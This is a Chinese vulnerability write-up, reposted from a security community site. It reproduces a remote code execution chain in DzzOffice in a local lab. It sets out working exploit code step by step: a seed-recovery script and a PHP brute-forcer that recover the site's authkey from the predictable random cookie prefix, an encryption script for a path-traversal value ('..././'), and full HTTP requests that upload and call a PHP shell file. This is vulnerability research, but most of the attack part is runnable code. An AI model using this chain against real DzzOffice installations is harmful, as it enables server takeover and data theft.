暂无简介
漏洞环境搭建
启动
LAMP
环境,将源码文件放入web目录下,访问浏览器访问web即可进入安装界面
- 根据提示一直点击下一步即可,数据库信息如下
- 管理员信息如下:
- 提示如下信息,安装成功
- 访问
admin.php?mod=setting&operation=sec
,检查验证码是否设置成功,这里一定要开启用户登录的验证码,不开启后续没有办法获取到想要的Cookie
漏洞原理分析
random种子固定
漏洞产生的关键点在install/index.php
,这个文件在完成安装之后会被自动删除,但是漏洞的作者,很细心的在这里发现了问题,这也提示我们不要忽略任何一个文件。
定位到相关代码片段
$uid = 1 ;
$authkey = substr(md5($_SERVER['SERVER_ADDR'].$_SERVER['HTTP_USER_AGENT'].$dbhost.$dbuser.$dbpw.$dbname.$pconnect.substr($timestamp, 0, 6)), 8, 6).random(10);
$_config['db'][1]['dbhost'] = $dbhost;
$_config['db'][1]['dbname'] = $dbname;
$_config['db'][1]['dbpw'] = $dbpw;
$_config['db'][1]['dbuser'] = $dbuser;
$_config['db'][1]['port'] = $port?$port:'3306';
$_config['db'][1]['tablepre'] = $tablepre;
$_config['admincp']['founder'] = (string)$uid;
$_config['security']['authkey'] = $authkey;
$_config['cookie']['cookiepre'] = random(4).'_';
$_config['memory']['prefix'] = random(6).'_';
这里的authkey
和Cookie
前缀都是调用random()
函数生成了一部分
authkey
:前6位是一堆变量md5后截取出来的,后十位是random
函数生成的Cookie
:前四位是random
的生成的
跟进random()
,该函数位于install/include/install_function.php
:
function random($length) {
$hash = '';
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz';
$max = strlen($chars) - 1;
PHP_VERSION < '4.2.0' && mt_srand((double)microtime() * 1000000);
for($i = 0; $i < $length; $i++) {
$hash .= $chars[mt_rand(0, $max)];
}
return $hash;
}
这里的random()
函数,跟修复随机数安全问题前的Discuz
一模一样,没有重新播种,所有随机数都是通过同一个种子生成出来的
一个小知识点:
在PHP4.2.0之前的版本,必须要通过
srand()
或mt_srand()
给rand()
或mt_rand()
播种,在PHP4.2.0之后的版本,事先可以不再通过
srand()
或mt_srand()
播种. 如直接调用mt_rand()
,系统会自动播种.- 系统会自动播种,系统播种种子范围为0-2^32(32位系统),这样似乎也能枚举
PHP_VERSION < '4.2.0' && mt_srand((double)microtime() * 1000000);
这段代码是为了版本兼容写的
我们可以利用如下固定了种子的值得Demo
做测试:
function random($length) {
$hash = '';
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz';
$max = strlen($chars) - 1;
PHP_VERSION < '4.2.0' && mt_srand(123456);
mt_srand(123456);
for($i = 0; $i < $length; $i++) {
$hash .= $chars[mt_rand(0, $max)];
}
return $hash;
}
echo random(10);
我们可以得出结论在同一进程中,同一个seed,每次通过mt_rand()生成的值都是固定的
通过Cookie获取种子
由于这里的Cookie前缀是我们可以获取到的,所以我们可以跑一遍PHP的所有的种子,得到11-14 位对应的随机数序列所对应的随机字符,判断是否为我们的Cookie前缀。这样就能获取所有随机可能的种子
再通过所有可能的随机数种子生成第1-10位对应的随机字符,这样就可以拿到authkey[-10]
,至于前6位只能选择爆破
这样的话我们就能获得很多组可能的authkey
这样的话要解决两个问题:
authkey
有什么作用如何验证
authkey
的正确性
authkey的作用
这个系统大量套用Discuz
的代码,因此authkey
和Discuz
里面的效果一样,在一种流算法authcode()
中使用的key,来加密一些重要的参数。这也就意味着,只要能够拿到这个authkey
我们就能,传入我们需要的参数。
验证authkey的正确性
通过全局搜索可以找到一处authcode()
可控明文点,且加密之后的数据能够被获取到。文件core/function/function_seccode.php
代码片段如下:
dsetcookie('seccode'.$idhash, authcode(strtoupper($seccode)."\t".(TIMESTAMP - 180)."\t".$idhash."\t".FORMHASH, 'ENCODE', $_G['config']['security']['authkey']), 0, 1, true);
这里设置了一个cookie,密文是用 authkey
生成的,并且密文可以被得到,利用这里的cookie即可验证authkey
的正确性。
完整爆破authkey
流程
通过cookie前缀爆破随机数的seed,使用
php_mt_seed
工具。用seed生成random(10),得到所有可能的
authkey
后缀。查看Cookie,获取
$idhash
,和对应的密文用生成的后缀爆破前6位,范围是
0x000000-0xffffff
,解密密文观察是否正确将计算出来的密文和获取的密文比较,相等即停止,获取当前的
authkey
。
漏洞利用验证
得到authkey
Cookie前缀我们很容易得到
利用如下脚本获得php_mt_seed
可以处理格式的数据
w_len = 10
result = ""
str_list = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz"
length = len(str_list)
for i in range(w_len):
result += "0 "
result += str(length-1)
result += " "
result += "0 "
result += str(length - 1)
result += " "
sstr = "gGyk"
for i in sstr:
result += str(str_list.index(i))
result += " "
result += str(str_list.index(i))
result += " "
result += "0 "
result += str(length - 1)
result += " "
print(result)
result:0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 42 42 0 61 6 6 0 61 60 60 0 61 46 46 0 61
生成可能的种子文件:
使用如下脚本处理暴力爆破,验证idhash即可
<?php
$pre = 'gGyk';
$seccode = substr('gGyk_2132_seccodeST09ZLe0', -8);
$string = '2121YXrez2Rb_00AasW9CQZdtAIM2HTcnua-PmShhMGHLfrWTtXnAkbq42XcqrY94rVDphUTYWnaK9OX9m0';
$seeds = explode("\n", file_get_contents('seed.txt'));
for ($i = 0; $i < count($seeds); $i++) {
if(preg_match('/= (\d+) /', $seeds[$i], $matach)) {
mt_srand(intval($matach[1]));
$authkey = random(10);
echo $authkey;
if(random(4) == $pre){
echo "trying $authkey...\n";
$res = crack($string, $authkey, $seccode);
if($res) {
echo "authkey found: ".$res;
exit();
}
}
}
}
function crack($string, $authkey, $seccode) {
$chrs = '1234567890abcdef';
for ($a = 0; $a < 16; $a++) {
for ($b = 0; $b < 16; $b++) {
for ($c = 0; $c < 16; $c++) {
for ($d = 0; $d < 16; $d++) {
for ($e = 0; $e < 16; $e++) {
for ($f = 0; $f < 16; $f++) {
$key = $chrs[$a].$chrs[$b].$chrs[$c].$chrs[$d].$chrs[$e].$chrs[$f].$authkey;
$result = authcode_decode($string, $key);
if (strpos($result, "\t$seccode\t")) {
return $key;
}
}
}
}
}
}
}
return false;
}
function authcode_decode($string, $key) {
$key = md5($key);
$ckey_length = 4;
$keya = md5(substr($key, 0, 16));
$keyc = substr($string, 0, $ckey_length);
$cryptkey = $cryptkey = $keya . md5($keya . $keyc);
$key_length = strlen($cryptkey);
$string = base64_decode(substr(str_replace(array('_', '-'), array('/', '+'), $string), $ckey_length));
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for ($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for ($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for ($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
return $result;
}
function random($length) {
$hash = '';
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz';
$max = strlen($chars) - 1;
for($i = 0; $i < $length; $i++) {
$hash .= $chars[mt_rand(0, $max)];
}
return $hash;
}
最终可以得到authkey
,3ccd48TRC0BU9NnD
文件上传点
拿到authKey
之后,全局搜索dzzdecode(
能找到很多的利用点。这里演示一个文件上传的利用。
在core/api/wopi/index.php
中:
跟进Wopi::PUTFile
:
调用IO::SetFileContent
跟进:
跟进self::clean
:
这里将\n
,\r
,../
替换为空,可以使用..././
绕过
回头跟进self::initIO
:
根据Path
的值实例化类
回到开始的PUTFile
,Content获取php://input
也就是POST数据流,Path采用流式加密,GET获取,也是可控的,这样直接上传文件即可
使用脚本加密Path
<?php
function authcode_config($string,$key, $operation = 'DECODE', $expiry = 0)
{
$ckey_length = 4;
$key = md5($key);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc.str_replace('=', '', base64_encode($result));
}
}
echo base64_encode(authcode_config("disk::..././..././..././shell.php",md5('3ccd48TRC0BU9NnD'),'ENCODE'));
构造数据包
POST /dzz/core/api/wopi/index.php?access_token=1&action=contents&path=Y2RhNUl5N09ZVW8vaGNkV0tEcU1qZzc0bGtLWGlIVXZEdjY3eUxmaXFiR3k1VDhtNUJXSFZnZHF1Y3I1VGZCcmtDNXljVGJaMVFnSWlNVENzR1U= HTTP/1.1
Host: localhost
sec-ch-ua: ";Not A Brand";v="99", "Chromium";v="88"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: gGyk_2132_saltkey=xkBk27da; gGyk_2132_lastvisit=1658359791; gGyk_2132_sid=T09ZLe; gGyk_2132_lastact=1658363412%09misc.php%09seccode; gGyk_2132_seccodeST09ZLe0=2121YXrez2Rb_00AasW9CQZdtAIM2HTcnua-PmShhMGHLfrWTtXnAkbq42XcqrY94rVDphUTYWnaK9OX9m0
Connection: close
Content-Length: 18
Content-Type: application/x-www-form-urlencoded
<?php phpinfo();?>
访问根目录的shell.php
即可RCE
POST /dzz/shell.php HTTP/1.1
Host: localhost
sec-ch-ua: ";Not A Brand";v="99", "Chromium";v="88"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: gGyk_2132_saltkey=xkBk27da; gGyk_2132_lastvisit=1658359791; gGyk_2132_sid=T09ZLe; gGyk_2132_lastact=1658363412%09misc.php%09seccode; gGyk_2132_seccodeST09ZLe0=2121YXrez2Rb_00AasW9CQZdtAIM2HTcnua-PmShhMGHLfrWTtXnAkbq42XcqrY94rVDphUTYWnaK9OX9m0
Connection: close
Content-Length: 18
Content-Type: application/x-www-form-urlencoded
<?php phpinfo();?>
总结
DzzOffice
大量借用dizcus
的代码,导致产生了相同的问题,即随机数种子可爆破,最终得到authkey
,最终利用密码,加密参数进行RCE。漏洞产生点在
install/index.php
这个目录在安装之后就会被删除,因此在做代码审计过程中,应该注意任何一个文件- 不应该只有着一种漏洞,大量借用
dizcus
代码,后续可以通过该思路,寻找dizcus
的历史漏洞,对该系统就行漏洞挖掘 - 在复现该漏洞时在该项目的
github
的Issus
里发现一处有意思的点:
感觉非常突兀,由于defined
的限制,页面没法直接访问,但是要是能绕过Defend,是不是能直接前台文件包含呢,这样的话,我们利用远程文件包含,是不是就可以RCE?我不太明白这里代码的作用,也就没有深入的去挖掘,但是感觉很有利用的可能。
参考链接
- 本文作者: H3h3QAQ
- 本文来源: 先知社区
- 原文链接: https://xz.aliyun.com/t/11569
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!